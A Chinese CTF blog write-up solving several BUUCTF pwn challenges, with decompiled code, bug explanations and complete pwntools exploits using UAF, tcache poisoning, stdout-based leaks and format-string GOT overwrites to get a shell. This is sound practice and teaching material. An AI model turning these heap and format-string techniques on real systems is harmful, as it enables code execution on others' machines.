BUUCTF pwn wp 126 - 130

gyctf_2020_document

gyctf_2020_document$ file gyctf_2020_document;checksec gyctf_2020_document 
gyctf_2020_document: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=54811a534aab1bd40188ff6bfcff12dbeafb5f08, stripped
[*] '/home/pwn/桌面/gyctf_2020_document/gyctf_2020_document'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

正常题目, 保护全开

add函数, name, sex, info

unsigned __int64 add()
{
  int i; // [rsp+Ch] [rbp-24h]
  _QWORD *v2; // [rsp+10h] [rbp-20h]
  _QWORD *content; // [rsp+18h] [rbp-18h]
  __int64 s; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < 7; ++i )
  {
    if ( !docs[i] )
    {
      v2 = malloc(8uLL);                        // 0x10 chunk
      content = malloc(0x80uLL);
      if ( !v2 || !content )
      {
        puts("Error occured!!!");
        exit(2);
      }
      puts("add success");
      *v2 = content;
      v2[1] = 1LL;
      puts("input name");
      memset(&s, 0, sizeof(s));
      readchs(&s, 8LL);
      *content = s;                             // content[0] <- name
      puts("input sex");
      memset(&s, 0, sizeof(s));
      readchs(&s, 1LL);
      puts("here");
      if ( (_BYTE)s == ch_W[0] )
      {
        content[1] = 1LL;                       // content[1] <- sex
      }
      else
      {
        puts("there");
        content[1] = 16LL;
      }
      puts("input information");
      readchs(content + 2, 112LL);              // content[2] <- information
      docs[i] = v2;
      puts("Success");
      break;
    }
  }
  if ( i == 7 )
    puts("Th3 1ist is fu11");
  return __readfsqword(0x28u) ^ v5;
}

delete函数, UAF

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Give me your index : ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 >= 7 )
  {
    puts("Out of list");
  }
  else if ( *((_QWORD *)&unk_202060 + v1) )
  {
    free(**((void ***)&unk_202060 + v1));
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
}

比较常规的UAF打free_hook(或者malloc_hook)

from pwn import *

url, port = "node4.buuoj.cn", 27352
filename = "./gyctf_2020_document"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(name, sex, content):
    io.sendlineafter('Give me your choice : \n', '1')
    io.sendafter("input name\n", name)
    io.sendafter("input sex\n", sex)
    io.sendafter("input information\n", content)

def show(index):
    io.sendlineafter('Give me your choice : \n', '2')
    io.sendlineafter("Give me your index : \n", str(index))

def edit(index, content):
    io.sendlineafter('Give me your choice : \n', '3')
    io.sendlineafter("Give me your index : \n", str(index))
    io.sendlineafter("Are you sure change sex?\n", 'N')
    io.sendafter("Now change information\n", content)

def delete(index):
    io.sendlineafter('Give me your choice : \n', '4')
    io.sendlineafter("Give me your index : \n", str(index))

def pwn():
    add('ffffa1c4', 'guesssss', cyclic(0x70))
    add('ffffa1c4', 'guesssss', cyclic(0x70))
    delete(0)
    show(0)
    libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b20 - 88
    free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    lf('free hook address', free_hook)
    lf('system address', system_addr)

    add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
    delete(1)

    add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
    payload = p64(0) + p64(0x21) + p64(free_hook - 0x10)
    payload += p64(1) + p64(0) + p64(0x51)
    payload = payload.ljust(0x70, b'\x00')

    edit(0, payload)
    payload = p64(system_addr).ljust(0x70, b'\x00')
    edit(3, payload)
    delete(2)


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_final_5

ciscn_2019_final_5$ file ciscn_final_5;checksec ciscn_final_5 
ciscn_final_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so, for GNU/Linux 2.6.32, BuildID[sha1]=ad75f1d8a9c718fae2aeb53bf0ebc5892400524c, stripped
[*] '/home/pwn/桌面/ciscn_2019_final_5/ciscn_final_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

add函数, 这个题的处理是比较奇怪的, 因为buf会和index进行|操作

__int64 add()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  __int64 or_res; // [rsp+18h] [rbp-8h]

  printf("index: ");
  index = choice("index: ");
  if ( index < 0 || index > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  printf("size: ");
  size = choice("size: ");
  if ( size < 0 || size > 4096 )
  {
    puts("size is invalid.");
    exit(-1);
  }
  buf = malloc(size);
  if ( !buf )
  {
    puts("malloc error.");
    exit(-1);
  }
  printf("content: ");
  read(0, buf, size);
  print_low12bits(buf);
  result = buf_or_index(buf, (unsigned int)index);
  or_res = result;
  for ( i = 0; i <= 16; ++i )
  {
    result = contents[i];
    if ( !result )
    {
      contents[i] = or_res;
      result = i;
      sizes[i] = size;
      break;
    }
  }
  if ( i == 17 )
  {
    puts("heap note is full.");
    exit(-1);
  }
  return result;
}

delete函数, 也比较诡异, 因为索引的下标和content的内容相关, 而且free掉的指针是抹掉低4bits的

int delete()
{
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]
  int index; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  result = choice("index: ");
  index = result;
  if ( result < 0 || result > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  for ( i = 0; i <= 16; ++i )
  {
    result = content_and_0xF(contents[i]);
    if ( result == index )
    {
      free((void *)(contents[i] & 0xFFFFFFFFFFFFFFF0LL));
      contents[i] = 0LL;
      sizes[i] = 0;
      result = puts("free success.\n");
      break;
    }
  }
  if ( i == 17 )
  {
    puts("free is invalid.");
    exit(-1);
  }
  return result;
}

漏洞通常出现在程序奇怪的逻辑处, 这题的漏洞也是出在index索引算法上
因为chunk的分配会对齐0x10, 所以低4bits均为0, 用ptr & 0xFFFFFFFFFFFFFFF0取指针是没问题的, 而在add时, 会把index | buf, 即buf指针实际上最后一位应该为0, 但是用来存储了index, (应该算是一种空间优化?
所以ptr & 0xF是取出index进行索引, 整体逻辑是行得通的, 但是问题也就出在这里.
考虑特殊情况, 如果输入index == 0x10 , 此时ptr | 0x10会改变实际的地址, 用低4bits保存index的预期功能就错了, 此时ptr & 0xF取出来的index为0, 所以index == 0x10index == 0索引到同一个index. 而且edit功能里这一点也可以利用, 因为指针会指向ptr & 0xFFFFFFFFFFFFFFF0, 而ptr | 0x10已经将ptr抬高了0x10, 所以会修改到邻近的下一个chunk的chunk header, 也就能控制presizesize

这个题就是逻辑漏洞的堆溢出, 改完chunk的size, delete之后会进入unsorted bin, 申请回来则可以控制更高地址的chunks, 用tcache attack申请出free_got地址的chunk, 修改free@got到puts@plt, 泄露libc然后再修改free@got到system

因为索引地址的算法问题, 需要修改0x602010的地址处才能覆盖free@got, 而且应该用index=8索引, 下图是调试时用index=0索引发现索引到puts@got, 才意识到索引算法的问题所在
BUUCTF pwn wp 126 - 130_第1张图片
另外因为index是按content的低4bits的值索引的, 而且是从小到大遍历索引, 所以需要puts_got + 1, 而free@gotindex=8索引, 最后delete掉第0个index的content, 再用index=8索引到atoi@got, 利用索引算法的歧义性完成payload的构造, 这里的利用相当精巧

from pwn import *

url, port = "node4.buuoj.cn", 25558
filename = "./ciscn_final_5"
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(index, size, content):
    io.sendlineafter('your choice: ', '1')
    io.sendlineafter('index: ', str(index))
    io.sendlineafter('size: ', str(size))
    io.sendafter('content: ', content)
    io.recvuntil('low 12 bits: ')
    return int(io.recvuntil('\n', drop=True), 16)

def delete(index):
    io.sendlineafter('your choice: ', '2')
    io.sendlineafter('index: ', str(index))

def edit(index, content):
    io.sendlineafter('your choice: ', '3')
    io.sendlineafter('index: ', str(index))
    io.sendafter('content: ', content)

def pwn():
    free_got = elf.got['free']
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    atoi_got = elf.got['atoi']
    contents_addr = 0x00000000006020E0

    add(16, 0x20, 'chunk0')
    add(1, 0x20, 'chunk1')
    add(2, 0x20, 'chunk2')
    add(3, 0x20, 'chunk3')
    add(4, 0x20, 'chunk4')
    # B()
    payload = cyclic(0x10) + p64(0) + p64(0x181)
    edit(0, payload)
    # B()
    delete(1) # unsorted bin 
    delete(2)
    payload = cyclic(0x20) + p64(0) + p64(0x31) + p64(contents_addr)
    add(1, 0x170, payload)
    # B()
    add(2, 0x20, 'chunk5')

    payload = p64(free_got) + p64(puts_got + 1) + p64(atoi_got) * 2
    # B()
    add(5, 0x20, payload)
    # B()
    edit(8, p64(puts_plt) * 2)
    # B()
    delete(1) # leak puts address
    puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    lf('puts address', puts_addr)
    lf('system address', system_addr)
    
    delete(8) # set free@got to 0 and index will get atoi@got
    edit(8, p64(system_addr) * 2)
    io.sendlineafter('your choice: ', '/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

小结
逻辑漏洞 + 堆溢出 + tcache attack + 无show泄露 + 劫持got表

roarctf_2019_realloc_magic

roarctf_2019_realloc_magic$ file roarctf_2019_realloc_magic;checksec roarctf_2019_realloc_magic
roarctf_2019_realloc_magic: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d7be4b70bdfe7373cf768112a90fe7f2783264e, not stripped
[*] '/home/pwn/桌面/roarctf_2019_realloc_magic/roarctf_2019_realloc_magic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开

只有add和delete以及一个清空realloc_ptr的函数, 因为保护Full RELRO开启, 所以也无法劫持got表实现free@got到puts@plt泄露libc

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    v3 = get_int();
    switch ( v3 )
    {
      case 2:
        fr();
        break;
      case 666:
        ba();
        break;
      case 1:
        re();
        break;
      default:
        puts("invalid choice");
        break;
    }
  }
}

ba函数, 将realloc_ptr置为0, 但只能用一次

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

re函数, 即delete函数, 如果用re函数释放chunk, 这里由于realloc的特性, 不会将ptr置为空, 所以存在double free漏洞

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

整个程序一次只能操控一个chunk, 实际上也够了

这题需要realloc的冷(re)知识
realloc(realloc_ptr, size);
(1) realloc_ptr != null && size == 0, 相当于free
(2) realloc_ptr == null && size > 0, 相当于malloc
(3) 原size >= realloc的size, 则chunk直接缩小, 剩余部分归到bins中, 返回ptr
(4) 原size < realloc的size, 分两种情况, 如果该chunk之后空间充足, 则直接扩充然后返回ptr; 否则另外malloc(size), copy内容过去, 然后free(原ptr), 返回新ptr.
因为保护全开且无show, 所以这种情况还需要利用_IO_2_1_stdout_实现无show泄露
原理可以参考Ex师傅的blog

漏洞利用: unsortedbin attack + tcache attack劫持_IO_2_1_stdout_(需要爆破4bits, 1/16的概率), 泄露libc; 然后清空ptr指针, 继续tcache attack劫持free_hook到one gadget

from pwn import *

url, port = "node4.buuoj.cn", 29332
filename = "./roarctf_2019_realloc_magic"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
context.log_level = "debug"

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def realloc(size=0, content=b'\x00'):
    io.sendlineafter('>> ', '1')
    io.sendlineafter('Size?', str(size))
    io.recvuntil("Content?")
    if size > 0: io.send(content)

def delete():
    io.sendlineafter('>> ', '2')

def clearptr():
    io.sendlineafter('>> ', '666')

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

def pwn():
    one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]

    realloc(0x30)
    realloc()
    realloc(0x80)
    realloc()
    realloc(0x40)
    realloc()

    realloc(0x80)
    for i in range(7): # fill tcache
        delete()

    realloc() # put into unsortbin
    realloc(0x30)
    payload = cyclic(0x38) + p64(0x51) + p8(0x60) + p8(0x87)
    realloc(0x50, payload) # overlap
    realloc()
    # B()
    realloc(0x80)
    # B()
    realloc()

    payload = p64(0xFBAD1887) + p64(0) * 3 + p8(0x58)
    # get _IO_2_1_stdout_ and change flag 
    realloc(0x80, payload)

    # leak libc
    libc_base = u64(io.recvuntil(b'\x7f', timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3e82a0
    # if libc_base == -0x3e82a0: exit(-1)
    lf('libc base address', libc_base)

    free_hook = libc_base + libc.sym['__free_hook']
    one_gadget = libc_base + one_gadgets[1]

    clearptr()
    # exploiting the same as above
    realloc(0x110)
    realloc()
    realloc(0x120)
    realloc()
    realloc(0x130)
    realloc()

    realloc(0x120)
    for i in range(7):
        delete()
    realloc()

    realloc(0x110)
    payload = cyclic(0x118) + p64(0x241) + p64(free_hook)
    realloc(0x240, payload)
    realloc()
    realloc(0x120)
    realloc()
    realloc(0x120, p64(one_gadget))
    delete()


if __name__ == "__main__":
    while True:
        if local:
            io = process(filename)
        else:
            io = remote(url, port)

        try:
            pwn()
            io.interactive()
        except:
            io.close()

之后本地打通了, 但是打远程的时候发现上百次pwn都打不通, 可能是网络延迟问题, 把timeout改大一点就通了

小结
realloc double free + unsorted bin attack + _IO_2_1_stdout_泄露libc + tcache attack(tcache poisoning) + 爆破4bits + 劫持free_hook + 打one_gadget
肉眼可见的复杂度 OvO (其实也还好, 就是调试比较费劲, 前后调了3个多小时

houseoforange_hitcon_2016

经典题目, 看另一篇单独的blog解析
hitcon2016 house of orange

SWPUCTF_2019_login

SWPUCTF_2019_login$ file SWPUCTF_2019_login;checksec SWPUCTF_2019_login
SWPUCTF_2019_login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbbf329da12ebdd87dcae5d032eda61796f7d0c3, stripped
[*] '/home/pwn/桌面/SWPUCTF_2019_login/SWPUCTF_2019_login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Please input your name: ");
  read(0, &unk_804B080, 0xCu);
  puts("Base maybe not easy......");
  return sub_80485E3();
}

int sub_80485E3()
{
  printf("hello, %s", byte_804B080);
  return sub_804854B();
}

BUUCTF pwn wp 126 - 130_第2张图片
BSS段的fmt漏洞, 倒是第一次见到

不过利用方法, 跟堆上的fmt漏洞相似, 为ebp链实现的got表劫持

from pwn import *

url, port = "node4.buuoj.cn", 26466
filename = "./SWPUCTF_2019_login"
elf = ELF(filename)
libc = ELF('./libc32-2.27.so')
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def pwn():
    io.sendlineafter('name:', 'fa1c4')
    io.sendlineafter('password:', '%15$p')
    io.recvuntil('0x')
    __libc_start_main = int(io.recvuntil('\n', drop=True), 16) - 0xf1
    libc_base = __libc_start_main - libc.sym['__libc_start_main']
    system_addr = libc_base + libc.sym['system']
    lf('libc base address', libc_base)
    lf('system address', system_addr)

    io.sendlineafter('Try again!', '%6$p')
    io.recvuntil('0x')
    stack_addr0 = int(io.recvuntil('\n', drop=True), 16)
    lf('stack address 0', stack_addr0)

    io.sendlineafter('Try again!', '%10$p')
    io.recvuntil('0x')
    stack_addr1 = int(io.recvuntil('\n', drop=True), 16)
    lf('stack address 1', stack_addr1)

    # change $14$p to printf@got
    payload = '%' + str(0x14) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x14

    payload = '%' + str((stack_addr1 & 0xff) + 1) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0xb0) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0xb0

    payload = '%' + str((stack_addr1 & 0xff) + 2) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0x04) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x04

    payload = '%' + str((stack_addr1 & 0xff) + 3) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload) 

    payload = '%' + str(0x08) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x08

    # change %15$p to printf@got + 1
    stack_addr2 = stack_addr1 + 4
    payload = '%' + str(stack_addr2 & 0xff) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x15) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x15

    payload = '%' + str((stack_addr2 & 0xff) + 1) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0xb0) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0xb0

    payload = '%' + str((stack_addr2 & 0xff) + 2) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x04) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x04

    payload = '%' + str((stack_addr2 & 0xff) + 3) + 'c' + '%6$hhn'
    io.sendlineafter('Try again!', payload)

    payload = '%' + str(0x08) + 'c' + '%10$hhn'
    io.sendlineafter('Try again!', payload) # 0x08

    payload = '%' + str(system_addr & 0xff) + 'c' + '%14$hhn'
    payload += '%' + str(((system_addr & 0xffff00) >> 8) - 0x10) + 'c' + '%15$hn'
    io.sendlineafter('Try again!', payload)
    sleep(0.3)
    io.sendline('/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

这个题本地调试(Ubuntu20.04)跟远程环境有差, 目前没找到原因, 可能需要用ubuntu18? 暂时先算一个疑点, 之后回来填坑

阶段性总结

断断续续花了几个月时间刷BUUCTF的PWN题, 截止目前已经做了130题, 并且全部都是python3打的(一个是有点标新立异的意味, 另一个是强制要求亲自实现每一个exp, 因为大部分师傅的exp都是python2写的, 直接ctrl c +ctrl v一般都不能通)
水平还是挺菜的, 不过应该算是入门了基础的PWN, 现在也要正式考虑一下PWN二转的事情了, 跟着圈内师傅们混和各种涉猎也算有一点点积累, PWN二转可以考虑的方向包括但不限于:

  • Kernel pwn,
  • IoT pwn,
  • VM pwn,
  • Chrome pwn,
  • Windows pwn
  • Android pwn

以及漏洞挖掘方向

  • IoT fuzz
  • linux kernel fuzz
  • windows kernel fuzz
  • Android fuzz
  • network protocol fuzz

当然漏洞挖掘方向fuzzing也只是一个分支, 目前还没入坑, 暂且先这么总结叭

AI方向 (BinaryAI

  • AutoPwn
  • AI PWN
  • AI + 漏洞挖掘
  • AI + 程序分析(或许可以包括在漏洞挖掘里)
  • AI + 逆向工程
  • AI + 漏洞修复

程序分析方向
其实程序分析应该算是一门独立的学科, 虽然可以服务于漏洞挖掘和利用
程序分析基础也要开始学习了, 科研工作标配之一…

总之PWN的世界之广阔和丰富依然是才疏学浅的我难以想象的
BUUCTF PWN WP系列先停更一段时间, 目前的打算是之后比较长一段时间将处在开荒阶段, 开始探索各个有趣的新地图了

这里再引用一次TK教主的口头禅: 先干了再说

你可能感兴趣的:(PWN,PWN,linux,程序分析)